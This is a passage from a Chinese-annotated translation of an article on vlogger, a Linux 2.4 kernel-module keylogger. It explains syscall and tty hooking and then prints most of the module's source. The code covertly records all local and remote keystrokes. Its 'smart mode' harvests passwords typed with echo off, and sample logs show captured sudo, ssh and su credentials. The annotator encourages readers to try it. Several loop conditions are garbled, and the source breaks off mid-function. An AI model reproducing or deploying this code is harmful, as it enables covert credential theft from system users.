old_receive_buf = tty->ldisc.receive_buf; //保存原始的receive_buf()函数
tty->ldisc.receive_buf = new_receive_buf; //替换成新的new_receive_buf函数

//新的new_receive_buf函数
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
char *fp, int count)
{
logging(tty, cp, count); //纪录用户击键

/* 调用回原来的receive_buf */
(*old_receive_buf)(tty, cp, fp, count);
}

/*e4gle add
其实这里新的new_receive_buf函数只是做了个包裹,技术上实现大同小异,包括劫持系统调用
内核函数等,技术上归根都比较简单,难点在于如何找到切入点,即劫持哪个函数可以达到目的,或者
效率更高更稳定等,这就需要深入了解这些内核函数的实现功能。
*/


------[ 3.2.4 - tty_read函数

当一个进程需要通过sys_read()函数来读取一个tty终端的输入字符的时候,tty_read函数就会被调用。

# /usr/src/linux/drives/char/tty_io.c
static ssize_t tty_read(struct file * file, char * buf, size_t count,
loff_t *ppos)

static struct file_operations tty_fops = {
llseek: tty_lseek,
read: tty_read,
write: tty_write,
poll: tty_poll,
ioctl: tty_ioctl,
open: tty_open,
release: tty_release,
fasync: tty_fasync,
};

还是举上面的纪录来自tty0的输入信息的例子:

int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);
old_tty_read = file->f_op->read; //保存原来的tty_read
file->f_op->read = new_tty_read; //替换新的tty_read函数

/*e4gle add
劫持这个函数的具体实现代码就不多说了,和上面是一样的,我这里写出来给大家参考一下:
static ssize_t new_tty_read(struct file * file, char * buf, size_t count,
loff_t *ppos)
{
struct tty_struct *tty = file->private_data;
logging(tty, buf, count); //纪录用户击键

/* 调用回原来的tty_read */
(*old_tty_read)(file, buf, count, ppos);
}
*/


------[ 3.2.5 - sys_read/sys_write函数

截获sys_read/sys_write这两个系统调用来实现的技术我不说了,在很早的quack翻译
的“linux内核可加载模块编程完全指南”中就提到了这种技术,在我写的“linux kernel hacking”
若干教程中也明明白白反反复复提到过,phrack杂志也早在50期的第四篇文章里也介绍到,
如果大家不明白请参考以上文献。

我提供以下code来实现劫持sys_read和sys_write系统调用:

extern void *sys_call_table[];
original_sys_read = sys_call_table[__NR_read];
sys_call_table[__NR_read] = new_sys_read;
当然除了替换sys_call_table表之外还有很多方法,在phrack59中的高级kernel hacking一文
中详细针对现有的几种劫持系统调用的方法有演示代码,这里不多做介绍了。


--[ 4 - vlogger

这节介绍一下一个内核键盘纪录器vlogger,是本文的原作者的大作,它是通过3.2.3节中
介绍的方法来实现纪录用户击键的,也利用了劫持sys_read/sys_write系统调用来做补充。
vlogger在如下内核中测试通过:2.4.5,2.4.7,2.4.17,2.4.18。


----[ 4.1 - 步骤

要记录下本地(纪录终端的信息)和远程会话的键盘击键 ,我选择劫持receive_buf函数的
方法(见3.2.3节)。

在内核中,tty_struct和tty_queue结构仅仅在tty设备打开的时候被动态分配。因而,我们
同样需要通过劫持sys_open系统调用来动态的hooking这些每次调用时的每个tty或pty的
receive_buf()函数。

// 劫持sys_open调用
original_sys_open = sys_call_table[__NR_open];
sys_call_table[__NR_open] = new_sys_open;

// new_sys_open()
asmlinkage int new_sys_open(const char *filename, int flags, int mode)
{
...
//调用original_sys_open
ret = (*original_sys_open)(filename, flags, mode);

if (ret >= 0) {
struct tty_struct * tty;
...
file = fget(ret);
tty = file->private_data;
if (tty != NULL &&
...
tty->ldisc.receive_buf != new_receive_buf) {
...
// 保存原来的receive_buf
old_receive_buf = tty->ldisc.receive_buf;
...

/*
* 开始劫持该tty的receive_buf函数
* tty->ldisc.receive_buf = new_receive_buf;
*/
init_tty(tty, TTY_INDEX(tty));
}
...
}

// 我们的新的receive_buf()函数
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
char *fp, int count)
{
if (!tty->real_raw && !tty->raw) // 忽略 raw模式
// 调用我们的logging函数来记录用户击键
vlogger_process(tty, cp, count);
// 调用回原来的receive_buf
(*old_receive_buf)(tty, cp, fp, count);
}


----[ 4.2 - 功能及特点

- 可以记录本地和远程会话的所有击键(通过tty和pts)

- 按每个tty/会话分开纪录。每个tty都有他们自己的纪录缓冲区。

- 几乎支持所有的特殊键如方向键(left,riht,up,down),F1到F12,Shift+F1到Shift+F12,
Tab,Insert,Delete,End,Home,Page Up,Page Down,BackSpace,等等

- 支持一些行编辑键包括ctrl-U和BackSpace键等。

- 时区支持

- 多种日志模式

o dumb模式: 纪录所有的击键行为

o smart模式: 只记录用户名/密码。这里我用了solar designer和dug song的"Passive Analysis
of SSH (Secure Shell) Traffic"文章中的一个小技术来实现的。当应用程序返回的
输入回显关闭的时候(就是echo -off),就认为那是用户在输入密码,我们过滤下来
就是了:)

o normal模式: 禁止纪录

用户可以通过利用MAGIC_PASS宏和VK_TOGLE_CHAR宏(MAGIC_PASS这个宏定义了切换密
码,VK_TOGLE_CHAR定义了一个keycode来做为切换热键)来切换日志模式。

#define VK_TOGLE_CHAR 29 // CTRL-]
#define MAGIC_PASS "31337" //要切换日志模式,输入MAGIC_PASS,然后敲击VK_TOGLE_CHAR键

----[ 4.3 - 如何使用

以下是一些可改变的选项

// 日志存放路径的宏
#define LOG_DIR "/tmp/log"

// 本地的时区
#define TIMEZONE 7*60*60 // GMT+7

// 切换日志模式的密码的宏
#define MAGIC_PASS "31337"

以下列出了纪录后的日志目录结构:

[e4gle@redhat72 log]# ls -l
total 60
-rw------- 1 root root 633 Jun 19 20:59 pass.log
-rw------- 1 root root 37593 Jun 19 18:51 pts11
-rw------- 1 root root 56 Jun 19 19:00 pts20
-rw------- 1 root root 746 Jun 19 20:06 pts26
-rw------- 1 root root 116 Jun 19 19:57 pts29
-rw------- 1 root root 3219 Jun 19 21:30 tty1
-rw------- 1 root root 18028 Jun 19 20:54 tty2

---在dumb模式中
[e4gle@redhat72 log]# head tty2 //本地会话
<19/06/2002-20:53:47 uid="501"> pwd
<19/06/2002-20:53:51 uid="501"> uname -a
<19/06/2002-20:53:53 uid="501"> lsmod
<19/06/2002-20:53:56 uid="501"> pwd
<19/06/2002-20:54:05 uid="501"> cd /var/log
<19/06/2002-20:54:13 uid="501"> tail messages
<19/06/2002-20:54:21 uid="501"> cd ~
<19/06/2002-20:54:22 uid="501"> ls
<19/06/2002-20:54:29 uid="501"> tty
<19/06/2002-20:54:29 uid="501"> [UP]

[e4gle@redhat72 log]# tail pts11 // 远程会话
<19/06/2002-18:48:27 uid="0"> cd new
<19/06/2002-18:48:28 uid="0"> cp -p ~/code .
<19/06/2002-18:48:21 uid="0"> lsmod
<19/06/2002-18:48:27 uid="0"> cd /va[TAB][^H][^H]tmp/log/
<19/06/2002-18:48:28 uid="0"> ls -l
<19/06/2002-18:48:30 uid="0"> tail pts11
<19/06/2002-18:48:38 uid="0"> [UP] | more
<19/06/2002-18:50:44 uid="0"> vi vlogertxt
<19/06/2002-18:50:48 uid="0"> :q
<19/06/2002-18:51:14 uid="0"> rmmod vlogger

---在smart模式中
[e4gle@redhat72 log]# cat pass.log
[19/06/2002-18:28:05 tty=pts/20 uid=501 sudo]
USER/CMD sudo traceroute yahoo.com
PASS 5hgt6d
PASS

[19/06/2002-19:59:15 tty=pts/26 uid=0 ssh]
USER/CMD ssh guest@host.com
PASS guest

[19/06/2002-20:50:44 tty=pts/29 uid=504 ftp]
USER/CMD open ftp.ilog.fr
USER Anonymous
PASS heh@heh

[19/06/2002-20:59:54 tty=pts/29 uid=504 su]
USER/CMD su -
PASS asdf1234


--[ 5 - 感谢

感谢plasmoid, skyper的大力帮助,感谢THC,vnsecurity等组织的所有朋友们。
最后,感谢thang先生的英文翻译。

//e4gle add
到此,全文介绍完了,大家有兴趣可以试试代码,其实这里涉及的技术无非还是系统调用和内核函数
的劫持技术,我整理过的一篇tty劫持的文章,大家也可以对比一下。其实vlogger也有一定的缺陷,
它还是通过sys_call_table的方法来劫持系统调用open的,那很容易被kstat等工具发现,关于更
隐藏的劫持技术在phrack59的advance kernel hacking一文里有5个例子详细介绍了更多的办法,
大家可以参考这些文献。


--[ 6 - 参考资料

[1] Linux Kernel Module Programming
http://www.tldp.org/LDP/lkmpg/
[2] Complete Linux Loadable Kernel Modules - Pragmatic
http://www.thehackerschoice.com/papers/LKM_HACKING.html
[3] The Linux keyboard driver - Andries Brouwer
http://www.linuxjournal.com/lj-issues/issue14/1080.html
[4] Abuse of the Linux Kernel for Fun and Profit - Halflife
http://www.phrack.com/phrack/50/P50-05
[5] Kernel function hijacking - Silvio Cesare
http://www.big.net.au/~silvio/kernel-hijack.txt
[6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer
http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt
[7] Kernel Based Keylogger - Mercenary
http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt

--[ 7 - Keylogger的源代码

<++> vlogger/Makefile
#
# vlogger 1.0 by rd
#
# LOCAL_ONLY logging local session only. Doesn't intercept
# sys_open system call
# DEBUG Enable debug. Turn on this options will slow
# down your system
#

KERNELDIR =/usr/src/linux
include $(KERNELDIR)/.config
MODVERFILE = $(KERNELDIR)/include/linux/modversions.h

MODDEFS = -D__KERNEL__ -DMODULE -DMODVERSIONS
CFLAGS = -Wall -O2 -I$(KERNELDIR)/include -include $(MODVERFILE) \
-Wstrict-prototypes -fomit-frame-pointer -pipe \
-fno-strength-reduce -malign-loops=2 -malign-jumps=2 \
-malign-functions=2

all : vlogger.o

vlogger.o: vlogger.c
$(CC) $(CFLAGS) $(MODDEFS) -c $^ -o $@

clean:
rm -f *.o
<-->
<++> vlogger/vlogger.c
/*
* vlogger 1.0
*
* Copyright (C) 2002 rd
*
* Please check http://www.thehackerschoice.com/ for update
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* Greets to THC & vnsecurity
*
*/

#define __KERNEL_SYSCALLS__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#ifndef KERNEL_VERSION
#define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,4,9)
MODULE_LICENSE("GPL");
MODULE_AUTHOR("rd@vnsecurity.net");
#endif

#define MODULE_NAME "vlogger "
#define MVERSION "vlogger 1.0 - by rd@vnsecurity.net\n"

#ifdef DEBUG
#define DPRINT(format, args...) printk(MODULE_NAME format, ##args)
#else
#define DPRINT(format, args...)
#endif

#define N_TTY_NAME "tty"
#define N_PTS_NAME "pts"
#define MAX_TTY_CON 8
#define MAX_PTS_CON 256
#define LOG_DIR "/tmp/log"
#define PASS_LOG LOG_DIR "/pass.log"

#define TIMEZONE 7*60*60 // GMT+7

#define ESC_CHAR 27
#define BACK_SPACE_CHAR1 127 // local
#define BACK_SPACE_CHAR2 8 // remote

#define VK_TOGLE_CHAR 29 // CTRL-]
#define MAGIC_PASS "31337" // to switch mode, press MAGIC_PASS and
// VK_TOGLE_CHAR

#define VK_NORMAL 0
#define VK_DUMBMODE 1
#define VK_SMARTMODE 2
#define DEFAULT_MODE VK_DUMBMODE

#define MAX_BUFFER 256
#define MAX_SPECIAL_CHAR_SZ 12

#define TTY_NUMBER(tty) MINOR((tty)->device) - (tty)->driver.minor_start \
+ (tty)->driver.name_base
#define TTY_INDEX(tty) tty->driver.type == \
TTY_DRIVER_TYPE_PTY?MAX_TTY_CON + \
TTY_NUMBER(tty):TTY_NUMBER(tty)
#define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)
#define TTY_WRITE(tty, buf, count) (*tty->driver.write)(tty, 0, \
buf, count)

#define TTY_NAME(tty) (tty->driver.type == \
TTY_DRIVER_TYPE_CONSOLE?N_TTY_NAME: \
tty->driver.type == TTY_DRIVER_TYPE_PTY && \
tty->driver.subtype == PTY_TYPE_SLAVE?N_PTS_NAME:"")

#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
#define END_KMEM set_fs(old_fs); }

extern void *sys_call_table[];
int errno;

struct tlogger {
struct tty_struct *tty;
char buf[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ];
int lastpos;
int status;
int pass;
};

struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL };
void (*old_receive_buf)(struct tty_struct *, const unsigned char *,
char *, int);
asmlinkage int (*original_sys_open)(const char *, int, int);

int vlogger_mode = DEFAULT_MODE;

/* Prototypes */
static inline void init_tty(struct tty_struct *, int);

/*
static char *_tty_make_name(struct tty_struct *tty,
const char *name, char *buf)
{
int idx = (tty)?MINOR(tty->device) - tty->driver.minor_start:0;

if (!tty)
strcpy(buf, "NULL tty");
else
sprintf(buf, name,
idx + tty->driver.name_base);
return buf;
}

char *tty_name(struct tty_struct *tty, char *buf)
{
return _tty_make_name(tty, (tty)?tty->driver.name:NULL, buf);
}
*/

#define SECS_PER_HOUR (60 * 60)
#define SECS_PER_DAY (SECS_PER_HOUR * 24)
#define isleap(year) \
((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
#define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
#define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))

struct vtm {
int tm_sec;
int tm_min;
int tm_hour;
int tm_mday;
int tm_mon;
int tm_year;
};


/*
* Convert from epoch to date
*/

int epoch2time (const time_t *t, long int offset, struct vtm *tp)
{
static const unsigned short int mon_yday[2][13] = {
/* Normal years. */
{ 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 },
/* Leap years. */
{ 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
};

long int days, rem, y;
const unsigned short int *ip;

days = *t / SECS_PER_DAY;
rem = *t % SECS_PER_DAY;
rem += offset;
while (rem < 0) {
rem += SECS_PER_DAY;
--days;
}
while (rem >= SECS_PER_DAY) {
rem -= SECS_PER_DAY;
++days;
}
tp->tm_hour = rem / SECS_PER_HOUR;
rem %= SECS_PER_HOUR;
tp->tm_min = rem / 60;
tp->tm_sec = rem % 60;
y = 1970;

while (days <>= (isleap (y) ? 366 : 365)) {
long int yg = y + days / 365 - (days % 365 < 0);
days -= ((yg - y) * 365
+ LEAPS_THRU_END_OF (yg - 1)
- LEAPS_THRU_END_OF (y - 1));
y = yg;
}
tp->tm_year = y - 1900;
if (tp->tm_year != y - 1900)
return 0;
ip = mon_yday[isleap(y)];
for (y = 11; days < (long int) ip[y]; --y)
continue;
days -= ip[y];
tp->tm_mon = y;
tp->tm_mday = days + 1;
return 1;
}


/*
* Get current date & time
*/

void get_time (char *date_time)
{
struct timeval tv;
time_t t;
struct vtm tm;

do_gettimeofday(&tv);
t = (time_t)tv.tv_sec;

epoch2time(&t, TIMEZONE, &tm);

sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,
tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,
tm.tm_sec);
}


/*
* Get task structure from pgrp id
*/

inline struct task_struct *get_task(pid_t pgrp)
{
struct task_struct *task = current;

do {
if (task->pgrp == pgrp) {
return task;
}
task = task->next_task;
} while (task != current);
return NULL;
}


#define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))
#define WRITABLE(f) (f->f_op && f->f_op->write)

int write_to_file(char *logfile, char *buf, int size)
{
int ret = 0;
struct file *f = NULL;

lock_kernel();
BEGIN_KMEM;
f = filp_open(logfile, O_CREAT|O_APPEND, 00600);

if (IS_ERR(f)) {
DPRINT("Error %ld opening %s\n", -PTR_ERR(f), logfile);
ret = -1;
} else {
if (WRITABLE(f))
_write(f, buf, size);
else {
DPRINT("%s does not have a write method\n",
logfile);
ret = -1;
}

if ((ret = filp_close(f,NULL)))
DPRINT("Error %d closing %s\n", -ret, logfile);
}
END_KMEM;
unlock_kernel();

return ret;
}


#define BEGIN_ROOT { int saved_fsuid = current->fsuid; current->fsuid = 0;
#define END_ROOT current->fsuid = saved_fsuid; }


/*
* Logging keystrokes
*/

void logging(struct tty_struct *tty, struct tlogger *tmp, int cont)
{
int i;

char logfile[256];
char loginfo[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ + 256];
char date_time[24];
struct task_struct *task;

if (vlogger_mode == VK_NORMAL)
return;

if ((vlogger_mode == VK_SMARTMODE) && (!tmp->lastpos || cont))
return;

task = get_task(tty->pgrp);

for (i=0; ilastpos; i++)
if (tmp->buf[i] == 0x0D) tmp->buf[i] = 0x0A;

if (!cont)
tmp->buf[tmp->lastpos++] = 0x0A;

tmp->buf[tmp->lastpos] = 0;

if (vlogger_mode == VK_DUMBMODE) {
snprintf(logfile, sizeof(logfile)-1, "%s/%s%d",
LOG_DIR, TTY_NAME(tty), TTY_NUMBER(tty));
BEGIN_ROOT
if (!tmp->status) {
get_time(date_time);
if (task)
snprintf(loginfo, sizeof(loginfo)-1,
"<%s uid=%d %s> %s", date_time,
task->uid, task->comm, tmp->buf);
else
snprintf(loginfo, sizeof(loginfo)-1,
"<%s> %s", date_time, tmp->buf);

write_to_file(logfile, loginfo, strlen(loginfo));
} else {
write_to_file(logfile, tmp->buf, tmp->lastpos);
}
END_ROOT

#ifdef DEBUG
if (task)
DPRINT("%s/%d uid=%d %s: %s",
TTY_NAME(tty), TTY_NUMBER(tty),
task->uid, task->comm, tmp->buf);
else
DPRINT("%s", tmp->buf);
#endif
tmp->status = cont;

} else {

/*
* Logging USER/CMD and PASS in SMART_MODE
*/

BEGIN_ROOT
if (!tmp->pass) {
get_time(date_time);
if (task)
snprintf(loginfo, sizeof(loginfo)-1,
"\n[%s tty=%s/%d uid=%d %s]\n"
"USER/CMD %s", date_time,
TTY_NAME(tty),TTY_NUMBER(tty),
task->uid, task->comm, tmp->buf);
else
snprintf(loginfo, sizeof(loginfo)-1,
"\n[%s tty=%s/%d]\nUSER/CMD %s",
date_time, TTY_NAME(tty),
TTY_NUMBER(tty), tmp->buf);

write_to_file(PASS_LOG, loginfo, strlen(loginfo));
} else {
snprintf(loginfo, sizeof(loginfo)-1, "PASS %s",
tmp->buf);
write_to_file (PASS_LOG, loginfo, strlen(loginfo));
}

END_ROOT

#ifdef DEBUG
if (!tmp->pass)
DPRINT("USER/CMD %s", tmp->buf);
else
DPRINT("PASS %s", tmp->buf);
#endif
}

if (!cont) tmp->buf[--tmp->lastpos] = 0;
}


#define resetbuf(t) \
{ \
t->buf[0] = 0; \
t->lastpos = 0; \
}

#define append_c(t, s, n) \
{ \
t->lastpos += n; \
strncat(t->buf, s, n); \
}

static inline void reset_all_buf(void)
{
int i = 0;
for (i=0; i if (ttys[i] != NULL)
resetbuf(ttys[i]);
}

void special_key(struct tlogger *tmp, const unsigned char *cp, int count)
{
switch(count) {
case 2:
switch(cp[1]) {
case '\'':
append_c(tmp, "[ALT-\']", 7);
break;
case ',':
append_c(tmp, "[ALT-,]", 7);
break;
case '-':
append_c(tmp, "[ALT--]", 7);
break;
case '.':
append_c(tmp, "[ALT-.]", 7);
break;
case '/':
append_c(tmp, "[ALT-/]", 7);
break;
case '0':
append_c(tmp, "[ALT-0]", 7);
break;
case '1':
append_c(tmp, "[ALT-1]", 7);
break;
case '2':
append_c(tmp, "[ALT-2]", 7);
break;
case '3':
append_c(tmp, "[ALT-3]", 7);
break;
case '4':
append_c(tmp, "[ALT-4]", 7);
break;
case '5':
append_c(tmp, "[ALT-5]", 7);
break;
case '6':
append_c(tmp, "[ALT-6]", 7);
break;
case '7':
append_c(tmp, "[ALT-7]", 7);
break;
case '8':
append_c(tmp, "[ALT-8]", 7);
break;
case '9':
append_c(tmp, "[ALT-9]", 7);
break;
case ';':
append_c(tmp, "[ALT-;]", 7);
break;
case '=':
append_c(tmp, "[ALT-=]", 7);
break;
case '[':
append_c(tmp, "[ALT-[]", 7);
break;
case '\\':
append_c(tmp, "[ALT-\\]", 7);
break;
case ']':
append_c(tmp, "[ALT-]]", 7);
break;
case '`':
append_c(tmp, "[ALT-`]", 7);
break;
case 'a':
append_c(tmp, "[ALT-A]", 7);
break;
case 'b':
append_c(tmp, "[ALT-B]", 7);
break;
case 'c':
append_c(tmp, "[ALT-C]", 7);
break;
case 'd':
append_c(tmp, "[ALT-D]", 7);
break;
case 'e':
append_c(tmp, "[ALT-E]", 7);
break;
case 'f':
append_c(tmp, "[ALT-F]", 7);
break;
case 'g':
append_c(tmp, "[ALT-G]", 7);
break;
case 'h':
append_c(tmp, "[ALT-H]", 7);
break;
case 'i':
append_c(tmp, "[ALT-I]", 7);
break;
case 'j':
append_c(tmp, "[ALT-J]", 7);
break;
case 'k':
append_c(tmp, "[ALT-K]", 7);
break;
case 'l':
append_c(tmp, "[ALT-L]", 7);
break;
case 'm':
append_c(tmp, "[ALT-M]", 7);
break;
case 'n':
append_c(tmp, "[ALT-N]", 7);
break;
case 'o':
append_c(tmp, "[ALT-O]", 7);
break;
case 'p':
append_c(tmp, "[ALT-P]", 7);
break;
case 'q':
append_c(tmp, "[ALT-Q]", 7);
break;
case 'r':
append_c(tmp, "[ALT-R]", 7);
break;
case 's':
append_c(tmp, "[ALT-S]", 7);
break;
case 't':
append_c(tmp, "[ALT-T]", 7);
break;
case 'u':
append_c(tmp, "[ALT-U]", 7);
break;
case 'v':
append_c(tmp, "[ALT-V]", 7);
break;
case 'x':
append_c(tmp, "[ALT-X]", 7);
break;
case 'y':
append_c(tmp, "[ALT-Y]", 7);
break;
case 'z':
append_c(tmp, "[ALT-Z]", 7);
break;
}
break;
case 3:
switch(cp[2]) {
case 68:
// Left: 27 91 68
append_c(tmp, "[LEFT]", 6);
break;
case 67:
// Right: 27 91 67
append_c(tmp, "[RIGHT]", 7);
break;
case 65:
// Up: 27 91 65
append_c(tmp, "[UP]", 4);
break;
case 66:
// Down: 27 91 66
append_c(tmp, "[DOWN]", 6);
break;
case 80:
// Pause/Break: 27 91 80
append_c(tmp, "[BREAK]", 7);
break;
}
break;
case 4:
switch(cp[3]) {
case 65:
// F1: 27 91 91 65
append_c(tmp, "[F1]", 4);
break;
case 66:
// F2: 27 91 91 66
append_c(tmp, "[F2]", 4);
break;
case 67:
// F3: 27 91 91 67
append_c(tmp, "[F3]", 4);
break;
case 68:
// F4: 27 91 91 68
append_c(tmp, "[F4]", 4);
break;
case 69:
// F5: 27 91 91 69
append_c(tmp, "[F5]", 4);
break;
case 126:
switch(cp[2]) {
case 53:
// PgUp: 27 91 53 126
append_c(tmp, "[PgUP]", 6);
break;
case 54:
// PgDown: 27 91 54 126
append_c(tmp,
"[PgDOWN]", 8);
break;
case 49:
// Home: 27 91 49 126
append_c(tmp, "[HOME]", 6);
break;
case 52:
// End: 27 91 52 126
append_c(tmp, "[END]", 5);
break;
case 50:
// Insert: 27 91 50 126
append_c(tmp, "[INS]", 5);
break;
case 51:
// Delete: 27 91 51 126
append_c(tmp, "[DEL]", 5);
break;
}
break;
}
break;
case 5:
if(cp[2] == 50)
switch(cp[3]) {
case 48:
// F9: 27 91 50 48 126
append_c(tmp, "[F9]", 4);
break;
case 49:
// F10: 27 91 50 49 126
append_c(tmp, "[F10]", 5);
break;
case 51:
// F11: 27 91 50 51 126
append_c(tmp, "[F11]", 5);
break;
case 52:
// F12: 27 91 50 52 126
append_c(tmp, "[F12]", 5);
break;
case 53:
// Shift-F1: 27 91 50 53 126
append_c(tmp, "[SH-F1]", 7);
break;
case 54:
// Shift-F2: 27 91 50 54 126
append_c(tmp, "[SH-F2]", 7);
break;
case 56:
// Shift-F3: 27 91 50 56 126
append_c(tmp, "[SH-F3]", 7);
break;
case 57:
// Shift-F4: 27 91 50 57 126
append_c(tmp, "[SH-F4]", 7);
break;
}
else
switch(cp[3]) {
case 55:
// F6: 27 91 49 55 126
append_c(tmp, "[F6]", 4);
break;
case 56:
// F7: 27 91 49 56 126
append_c(tmp, "[F7]", 4);
break;
case 57:
// F8: 27 91 49 57 126
append_c(tmp, "[F8]", 4);
break;
case 49:
// Shift-F5: 27 91 51 49 126
append_c(tmp, "[SH-F5]", 7);
break;
case 50:
// Shift-F6: 27 91 51 50 126
append_c(tmp, "[SH-F6]", 7);
break;
case 51:
// Shift-F7: 27 91 51 51 126
append_c(tmp, "[SH-F7]", 7);
break;
case 52:
// Shift-F8: 27 91 51 52 126
append_c(tmp, "[SH-F8]", 7);
break;
};
break;
default: // Unknow
break;
}
}


/*
* Called whenever user press a key
*/

void vlogger_process(struct tty_struct *tty,
const unsigned char *cp, int count)
{
struct tlogger *tmp = ttys[TTY_INDEX(tty)];

if (!tmp) {
DPRINT("erm .. unknow error???\n");
init_tty(tty, TTY_INDEX(tty));
tmp = ttys[TTY_INDEX(tty)];
if (!tmp)
return;
}

if (vlogger_mode == VK_SMARTMODE) {
if (tmp->status && !IS_PASSWD(tty)) {
resetbuf(tmp);
}
if (!tmp->pass && IS_PASSWD(tty)) {
logging(tty, tmp, 0);
resetbuf(tmp);
}
if (tmp->pass && !IS_PASSWD(tty)) {
if (!tmp->lastpos)
logging(tty, tmp, 0);
resetbuf(tmp);
}
tmp->pass = IS_PASSWD(tty);
tmp->status = 0;
}

if ((count + tmp->lastpos) > MAX_BUFFER - 1) {
logging(tty, tmp, 1);
resetbuf(tmp);
}

if (count == 1) {
if (cp[0] == VK_TOGLE_CHAR) {
if (!strcmp(tmp->buf, MAGIC_PASS)) {
if(vlogger_mode < 2)
vlogger_mode++;
else
vlogger_mode = 0;
reset_all_buf();

switch(vlogger_mode) {
case VK_DUMBMODE:
DPRINT("Dumb Mode\n");
TTY_WRITE(tty, "\r\n"
"Dumb Mode\n", 12);
break;
case VK_SMARTMODE:
DPRINT("Smart Mode\n");
TTY_WRITE(tty, "\r\n"
"Smart Mode\n", 13);
break;
case VK_NORMAL:
DPRINT("Normal Mode\n");
TTY_WRITE(tty, "\r\n"
"Normal Mode\n", 14);
}
}
}

switch (cp[0]) {
case 0x01: //^A
append_c(tmp, "[^A]", 4);
break;
case 0x02: //^B
append_c(tmp, "[^B]", 4);
break;
case 0x03: //^C
append_c(tmp, "[^C]", 4);
case 0x04: //^D
append_c(tmp, "[^D]", 4);
case 0x0D: //^M
case 0x0A:
if (vlogger_mode == VK_SMARTMODE) {
if (IS_PASSWD(tty)) {
logging(tty, tmp, 0);
resetbuf(tmp);
} else
tmp->status = 1;
} else {
logging(tty, tmp, 0);
resetbuf(tmp);
}
break;
case 0x05: //^E
append_c(tmp, "[^E]", 4);
break;
case 0x06: //^F
append_c(tmp, "[^F]", 4);
break;
case 0x07: //^G
append_c(tmp, "[^G]", 4);
break;
case 0x09: //TAB - ^I
append_c(tmp, "[TAB]", 5);
break;
case 0x0b: //^K
append_c(tmp, "[^K]", 4);
break;
case 0x0c: //^L
append_c(tmp, "[^L]", 4);
break;
case 0x0e: //^E
append_c(tmp, "[^E]", 4);
break;
case 0x0f: //^O
append_c(tmp, "[^O]", 4);
break;
case 0x10: //^P
append_c(tmp, "[^P]", 4);
break;
case 0x11: //^Q
append_c(tmp, "[^Q]", 4);
break;
case 0x12: //^R
append_c(tmp, "[^R]", 4);
break;
case 0x13: //^S
append_c(tmp, "[^S]", 4);
break;
case 0x14: //^T
append_c(tmp, "[^T]", 4);
break;
case 0x15: //CTRL-U
resetbuf(tmp);
break;
case 0x16: //^V
append_c(tmp, "[^V]", 4);
break;
case 0x17: //^W
append_c(tmp, "[^W]", 4);
break;
case 0x18: //^X
append_c(tmp, "[^X]", 4);
break;
case 0x19: //^Y
append_c(tmp, "[^Y]", 4);
break;
case 0x1a: //^Z
append_c(tmp, "[^Z]", 4);
break;
case 0x1c: //^\
append_c(tmp, "[^\\]", 4);
break;
case 0x1d: //^]
append_c(tmp, "[^]]", 4);
break;
case 0x1e: //^^
append_c(tmp, "[^^]", 4);
break;
case 0x1f: //^_
append_c(tmp, "[^_]", 4);
break;
case BACK_SPACE_CHAR1:
case BACK_SPACE_CHAR2:
if (!tmp->lastpos) break;
if (tmp->buf[tmp->lastpos-1] != ']')
tmp->buf[--tmp->lastpos] = 0;
else {
append_c(tmp, "[^H]", 4);
}
break;
case ESC_CHAR: //ESC
append_c(tmp, "[ESC]", 5);
break;
default:
tmp->buf[tmp->lastpos++] = cp[0];
tmp->buf[tmp->lastpos] = 0;
}
} else { // a block of chars or special key
if (cp[0] != ESC_CHAR) {
while (count >= MAX_BUFFER) {
append_c(tmp, cp, MAX_BUFFER);
logging(tty, tmp, 1);
resetbuf(tmp);
count -= MAX_BUFFER;
cp += MAX_BUFFER;
}

append_c(tmp, cp, count);
} else // special key
special_key(tmp, cp, count);
}
}


void my_tty_open(void)
{
int fd, i;
char dev_name[80];

#ifdef LOCAL_ONLY
int fl = 0;
struct tty_struct * tty;
struct file * file;
#endif

for (i=1; i snprintf(dev_name, sizeof(dev_name)-1, "/dev/tty%d", i);

BEGIN_KMEM
fd = open(dev_name, O_RDONLY, 0);
if (fd < 0) continue;

#ifdef LOCAL_ONLY
file = fget(fd);
tty = file->private_data;
if (tty != NULL &&
tty->ldisc.receive_buf != NULL) {
if (!fl) {
old_receive_buf =
tty->ldisc.receive_buf;
fl = 1;
}
init_tty(tty, TTY_INDEX(tty));
}
fput(file);
#endif

close(fd);
END_KMEM
}

#ifndef LOCAL_ONLY
for (i=0; i snprintf(dev_name, sizeof(dev_name)-1, "/dev/pts/%d", i);

BEGIN_KMEM
fd = open(dev_name, O_RDONLY, 0);
if (fd >= 0) close(fd);
END_KMEM
}
#endif

}


void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
char *fp, int count)
{
if (!tty->real_raw && !tty->raw) // ignore raw mode
vlogger_process(tty, cp, count);
